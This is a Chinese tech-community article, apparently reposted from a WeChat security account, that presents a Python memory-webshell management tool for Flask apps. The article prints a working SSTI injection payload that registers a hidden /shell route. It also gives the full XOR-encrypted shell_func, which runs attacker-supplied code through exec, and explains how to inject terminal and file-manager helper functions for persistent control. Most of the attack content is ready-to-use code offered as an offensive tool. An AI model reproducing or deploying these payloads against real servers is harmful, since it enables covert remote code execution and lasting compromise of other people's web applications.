前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【护网必备】Python内存马管理工具

【护网必备】Python内存马管理工具

作者头像
Al1ex
发布2024-07-05 17:04:00
970
发布2024-07-05 17:04:00
举报
文章被收录于专栏:网络安全攻防

项目介绍

此工具是一款Python内存马管理工具,实现的一些基本功能参照了冰蝎工具的设计,Payload的写法都依赖于Python自带的一些库实现,支持Windows/Linux,交互过程的流量加密是异或,主要通过利用SSTI漏洞、反序列化漏洞注入内存马

工具使用

启动UI界面(缺啥模块pip一下)

代码语言:javascript
复制
python3 MainUI.py

如果需要使用demo,可以使用ide或者python来启动,正式的环境部署命令为

代码语言:javascript
复制
uwsgi --http :5006 --gevent 1000 --http-websockets --master --wsgi-file app.py --callable app

修改demo中的app.py

代码语言:javascript
复制
socketio = SocketIO(app, cors_allowed_origins="*", async_mode='gevent')

generate_shell.py为生成base64编码的内存马函数,需要通过SSTI或者反序列化漏洞来进行注入

SSTI示例

代码语言:javascript
复制
{{ url_for.__globals__['__builtins__']['exec'](
"
exec(__import__('base64').b64decode('Base64Shell'))
app.view_functions['shell'] = shell_func;
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', shell_func, methods=['POST','GET']);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'],'ulg': url_for.__globals__, 'app':url_for.__globals__['current_app']})}}

Payloads目录下为功能实现的Payload,example为调试脚本~

工具使用

获取基本信息

多种命令执行模式,执行的命令是拼接的,用来实现切换目录

虚拟终端交互主要使用python中的subprocess.Popen模块获取输出流的时候并没有获取到完整的命令提示符行。在这个功能里通过创建子线程以及实现非堵塞的输入输出管道来控制命令输入和回显输出,端口可以终止服务端的子线程

文件管理器主要包含基本的文件操作:创建,删除,分块下载,上传

payload设计

Payload的写法全部采用了Python自带的模块,区分操作系统。交互连接shell的过程模拟了冰蝎的实现,通过脚本生成内存马函数并通过shell密码来预定义异或key,随机数种子,magic_str。其中magic_str用来在提交请求的时候判断是否为连接shell的请求,加解密的实现在RandXor.py中。

在虚拟终端和文件管理功能中,是将函数写好,在使用之前进行注入,后续的小功能就调用注入的函数。注入(也就是定义)函数的时候需要注意:内存马使用的是exec来执行代码,每次 exec 的执行会在一个新的局部命名空间内执行代码,也就是注入的函数和后续调用的函数不在同一个命名空间中,所以这里的解决方法是将注入的函数保存在flask应用的上下文中,然后通过exec执行调用的时候,传递全局命名空间将注入的函数传递进去。

比如下面的例子:shell_func就是内存马,exec(plaintext, parma)用来执行Payload,同时在注入内存马的时候也是使用的exec函数,并且将 flask 应用上下文中的一些变量(对象)传递了进来,比如request url_for.__globals__ current_app。同时将这些变量(对象)保存到了parma中,此外添加了resp用来获得执行结果,然后再执行Payload的时候传递了parma作为全局命名空间。

代码语言:javascript
复制
def shell_func():
    import base64
    import random
    parma = {'resp': 'Error', 'app': app, 'gl': ulg}
    if '%magic_str%' in request.get_data(as_text=True):
        p_code = request.get_data(as_text=True).replace('%magic_str%', '')
        ciphertext = base64.b64decode(p_code)
        plaintext = bytearray(len(ciphertext))
        rkey = %rkey%
        key = base64.b64decode('%key%')
        random.seed(rkey)
        for i in range(len(ciphertext)):
            plaintext[i] = ciphertext[i] ^ (random.randint(1, len(ciphertext)) & 0xff) ^ key[i % len(key)]
            plaintext[i] = plaintext[i] ^ rkey
        exec(plaintext, parma)
        plaintext = str(parma['resp']).encode('utf-8')
        ciphertext = bytearray(len(plaintext))
        random.seed(rkey)
        for i in range(len(plaintext)):
            ciphertext[i] = plaintext[i] ^ rkey
            ciphertext[i] = ciphertext[i] ^ (random.randint(1, len(plaintext)) & 0xff) ^ key[i % len(key)]
        parma['resp'] = base64.b64encode(ciphertext).decode('utf-8')
        return str(parma['resp'])
    return parma['resp']
代码语言:javascript
复制
{{ url_for.__globals__['__builtins__']['exec'](
"
exec(__import__('base64').b64decode('Base64Shell'))
app.view_functions['shell'] = shell_func;
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', shell_func, methods=['POST','GET']);
app._got_first_request=True;
", 
{'request':url_for.__globals__['request'],'ulg': url_for.__globals__, 'app':url_for.__globals__['current_app']})}}

那么注入函数的写法就如下:

代码语言:javascript
复制
def func_1():
  pass
def func_2():
  pass
def X_main(data):
  pass
gl['X_main'] = X_main 
# gl是再exec执行的时候通过parma传递进来的,而gl实际上是SSTI漏洞利用的时候使用exec传递的url_for.__globals__

这样就将注入的函数保存到了 flask 的全局命名空间中,那么后续调用注入的函数就如下所示:

代码语言:javascript
复制
resp = gl['X_main']({'type': 'create', 'binPath': '$binPath$'}) # 使用resp来接收返回值

resp的定义实际上是在shell_func内存马中,这样就实现了exec函数没有返回值,但是能够获得执行结果,当然了实现方法不止这一种,也可以暴力的将注入函数保存到Python的内建模块builtins

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档